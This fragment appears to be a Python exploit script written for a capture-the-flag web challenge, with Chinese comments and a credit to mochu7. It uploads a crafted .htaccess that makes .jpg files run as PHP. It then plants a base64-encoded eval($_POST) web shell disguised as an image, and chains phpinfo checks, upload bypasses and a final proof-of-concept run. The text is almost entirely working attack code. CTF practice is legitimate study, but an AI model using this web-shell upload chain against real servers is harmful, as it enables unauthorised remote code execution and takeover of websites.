exit("phpinfo() 执行失败")
def upload_shell(self):
shell = self.valid_wbmp + b"AA" + base64.b64encode(b"""<?php echo "shell ok!"; eval($_POST['mochu7']); ?>""")
self.upload_content("mochu7.jpg", shell)
self.shell_url = self.ctf_url + "images/" + self.pics_dir + "/mochu7.jpg"
def upload_htaccess(self):
ht_access = self.valid_wbmp + b"""AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=mochu7.jpg"""
self.upload_content("..htaccess", ht_access)
def upload_content(self, name, content):
data = {
"image": (name, content, 'image/png'),
"upload": (None, "Submit Query", None)
}
resp = self.req.post(self.ctf_url, files=data)
if resp.status_code == 200:
print("上传成功\n" + resp.content.decode())
else:
exit("执行失败")
if self.pics_dir == "":
self.pics_dir = re.findall("<a href=images/(.*?)/>", resp.content.decode())[0]
pass
if __name__ == "__main__":
ctf_url = input("请输入题目地址 >")
ctf = CTF(ctf_url)
ctf.upload_htaccess()
ctf.upload_shell()
ctf.phpinfo_check()
ctf.upload_bypass_php()
ctf.upload_bypass_so()
ctf.upload_bypass_prel()
ctf.run_poc()
本文参考 mochu7 师傅的代码和文章。感谢师傅。